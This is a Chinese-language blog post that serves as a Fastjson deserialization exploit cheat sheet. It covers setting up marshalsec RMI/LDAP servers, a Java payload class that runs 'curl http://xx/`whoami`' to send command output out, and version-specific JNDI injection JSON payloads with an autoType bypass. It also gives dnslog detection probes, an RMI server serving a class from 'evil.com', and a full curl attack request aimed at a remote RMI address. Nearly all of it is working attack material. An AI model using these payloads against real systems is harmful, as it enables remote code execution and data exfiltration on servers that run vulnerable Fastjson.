Fastjson漏洞利用

0x01 环境配置

首先需要安装marshalsec 用于起RMI or LDAP 服务
marshalsec 安装

git clone https://github.com/mbechler/marshalsec.git     

pom.xml plugin配置

                <plugins>
                        <plugin>
                                <groupId>org.apache.maven.plugins</groupId>
                                <artifactId>maven-surefire-plugin</artifactId>
                        </plugin>
                        <plugin>
                                <artifactId>maven-assembly-plugin</artifactId>
                        </plugin>

cd ./marshalsec/

mvn clean package -DskipTests

0x02 Payload 配置

//javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class exp {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c","curl http://xx/`whoami`"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

1.2.24

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}

1.2.42

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:9999/Exploit", "autoCommit":true}
  • 需要开发者手动开启 autoType 支持。
  • 修复后可通过重复 L 和 ; 绕过:
  • LLcom.sun.rowset.JdbcRowSetImpl;;

1.2.45

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}

1.2.47

无需开启 autoType:

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

1.5 <= 1.2.60
无需开启 autoType:

{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

启动一个RMI服务器,监听9999端口 加载远程类TouchFile.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999

启动一个LDAP 服务

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit

0x03 attack

漏洞无损检测

 
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

区分Fastjson 和Jackson

{"name":"S", "age":21} //正常请求包

修改json为
{"name":"S", "age":21,"fuzz":"0xdd"}
/*
这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key,
所以会报错,服务器的响应包中多少会有异常回显
*/

命令执行显

#在python所起的web目录下,存在exp.class 文件
python3 -m http.server 80 

目标为fastjson 1.2.45

curl http://127.0.0.1:8090 -H "Content-Type: application/json" --data '{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.103.194.147:9999/dd","autoCommit":true}}'

command

0x04 注意事项

  • 漏洞利用收到目标 JDK 版本影响
  • ldap 能收到请求即证明漏洞存在
  • ldap 能收到请求,但没有通过 reference 请求到 Web 服务获取 Exploit.class 的原因就是 JDK 版本的问题
  • JDK 版本绕过可参考:如何绕过高版本JDK的限制进行JNDI注入
  • Exploit.class 本身需要满足 JDK 版本要求,比较简单的做法是使用 JDK6 来生成 exp
posted @ 2020-06-05 14:25  0xdd  阅读(2232)  评论(1编辑  收藏  举报